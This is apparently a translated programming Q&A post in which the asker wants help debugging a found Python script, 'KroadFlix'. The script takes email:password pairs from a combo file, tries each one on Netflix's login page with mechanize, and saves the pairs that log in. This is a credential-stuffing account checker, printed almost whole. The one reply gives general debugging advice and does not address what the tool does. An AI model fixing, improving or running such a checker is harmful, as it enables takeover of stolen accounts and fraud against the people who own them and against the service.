这个Python程序不起作用，也没有明显的原因

Question

我在网上找到了这段代码，并尽力进行了修补。我不明白这个程序出了什么问题。此代码接收Netflix帐户并输出工作帐户。

import mechanize
import sys
import time
from colorama import init, Fore, Style
init()
header = Fore.CYAN + """

__ __                      ___________     
/ //_/_________  ____ _____/ / ____/ (_)  __
/ ,<  / ___/ __ / __ `/ __  / /_  / / / |/_/
/ /| |/ /  / /_/ / /_/ / /_/ / __/ / / />  <  
/_/ |_/_/   ____/__,_/__,_/_/   /_/_/_/|_|  


""" 
Fore.LIGHTGREEN_EX
user = input('Enter Your Name: ')
print Fore.LIGHTGREEN_EX + 'Welcome' , user , 'in KroadFlix'
print (header)
time.sleep(2)
accex=0
accno=0
accPass=[]
outfile = open('good.txt', 'w')

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
try:
with open('combo.txt', "r") as filestream:
for line in filestream:
br.open('https://www.netflix.com/Login?locale=es-CL')
currentline = line.split(':')
br.select_form(nr=0)
br.form['email'] = currentline[0]
br.form['password'] = currentline[1]
print (Fore.YELLOW + 'Checking: '+br.form['email'])
response = br.submit()
if response.geturl()=='http://www.netflix.com/browse':
print (Fore.GREEN + '[+]Account is working!')
accex = accex + 1
br.open('http://www.netflix.com/SignOut?lnkctr=mL')
accPass.append(currentline[0]+':'+currentline[1])
else:
print (Fore.RED + '[-]Account is not working!')
accno = accno + 1

print ('Saving Good Accounts Into txt..')
for all in accPass:
print (all)
outfile.write(str(all)+'n')
except:
print ('ERROR..')
print ('Check if your combo named as combo.txt')
for all in accPass:
outfile.write(str(all)+'n')

print (Fore.GREEN + 'Active Accounts: ' + str(accex))
print (Fore.RED + 'Bad Accounts: ' + str(accno))

这是它输出的错误。

ERROR..
Check if your combo named as combo.txt
Active Accounts: 0
Bad Accounts: 0

我确实在目录中有一个名为combo.txt的文件，所以我不明白这里出了什么问题

Answer 1

；没有明显的原因"；因为对于所有可能的失败，即使在不适用的情况下，作者也会显示一条罐装消息。例如，即使在成功打开文件后，建议也要检查您是否拥有该文件。

异常处理程序至少应该显示异常消息。但它是Python，所以你可以很容易地自己做到这一点。

我的钱在"br.open(("调用失败上。